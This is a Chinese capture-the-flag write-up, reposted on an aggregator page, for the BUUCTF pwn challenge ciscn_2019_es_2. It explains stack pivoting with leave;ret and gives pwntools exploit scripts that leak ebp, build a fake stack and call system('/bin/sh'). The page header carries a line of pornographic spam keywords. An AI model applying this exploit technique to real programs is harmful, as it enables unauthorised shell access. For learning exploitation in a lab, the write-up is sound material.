日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)

發布時間:2024/4/17 编程问答 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

[BUUCTF-pwn]——ciscn_2019_es_2

  • 題目地址: https://buuoj.cn/challenges#ciscn_2019_es_2
    • 這是一道棧劫持的題,第一次寫這種題的題解寫的詳細一點。

peak小知識

棧劫持也可以稱為棧遷移,用來解決棧本身可以利用的空間不夠用,一般是溢出空間不夠用,沒辦法有效構造rop鏈。這個時候我們可以通過劫持ebp的方式,利用leave 和 ret兩個匯編指令來做到棧劫持(棧遷移)。

leave 等價于 mov ebp, esp; pop ebp; ret 等價于 pop eip;

下面我來通過這道例題來詳細講解一下。

講解

老規矩先checksec 一下

在IDA中查看一下,main函數沒有什么。

在vul函數中, 0x30 - 0x28 = 8,意味著我們只可以覆蓋ebp和返回地址, 可利用棧空間不足


那么我們就可以將rop鏈寫到棧上,再將棧劫持到我們寫的地方就可以了。
首先我們需要泄露出來一個地址,然后計算偏移來確認我們需要劫持的地址。
所以我們可以先將exploit先這樣寫出來, leave;ret;指令可以在IDA中找,也可以用ROPgadget查找。其實我們是執行了兩次 leave;ret;一次是函數結束時自己調用的一次是我們設置的返回地址,第一次主要是leave指令目的是改變ebp的值,第二次目的是ret指令,執行我們劫持到的地址

from pwn import * #p = remote("node3.buuoj.cn",27236) p = process("./ciscn_2019_es_2") gdb.attach(p, "b *0x080485FC") #我喜歡斷點設置在leave前 sys_addr = 0x8048400 leave_ret = 0x080484b8 payload = 'a' * 0x27 + 'p' p.send(payload) p.recvuntil('p') ebp = u32(p.recv(4)) print hex(ebp) payload = (this'+p32(sys_addr)+'aaaa'+'that'+'/bin/sh\x00').ljust(0x28,'p') payload += p32(0) + p32(leave_ret) p.send(payload) p.interactive()

其中,this的地址是我們需要劫持到的地址,這樣sys_addr就可以作為返回地址來執行了。that是我們需要尋找的’/bin/sh’字符串的地址。

在pwndbg中找到偏移, distance第一個數值,是泄露的ebp地址, 可以在終端查看

所以最終的exploit為

exploit

from pwn import * #p = remote("node3.buuoj.cn",27236) p = process("./ciscn_2019_es_2") #gdb.attach(p, "b *0x080485FC") sys_addr = 0x8048400 leave_ret = 0x080484b8 payload = 'a' * 0x27 + 'p' p.send(payload) p.recvuntil('p') ebp = u32(p.recv(4)) print hex(ebp) payload = ('this'+p32(sys_addr)+'aaaa'+p32(ebp-0x28)+'/bin/sh\x00').ljust(0x28,'p')+p32(ebp-0x38) + p32(leave_ret)#指向'/bin/sh' #指向this,也就是我們棧劫持的地方 p.send(payload) p.interactive()

總結

以上是生活随笔為你收集整理的[BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。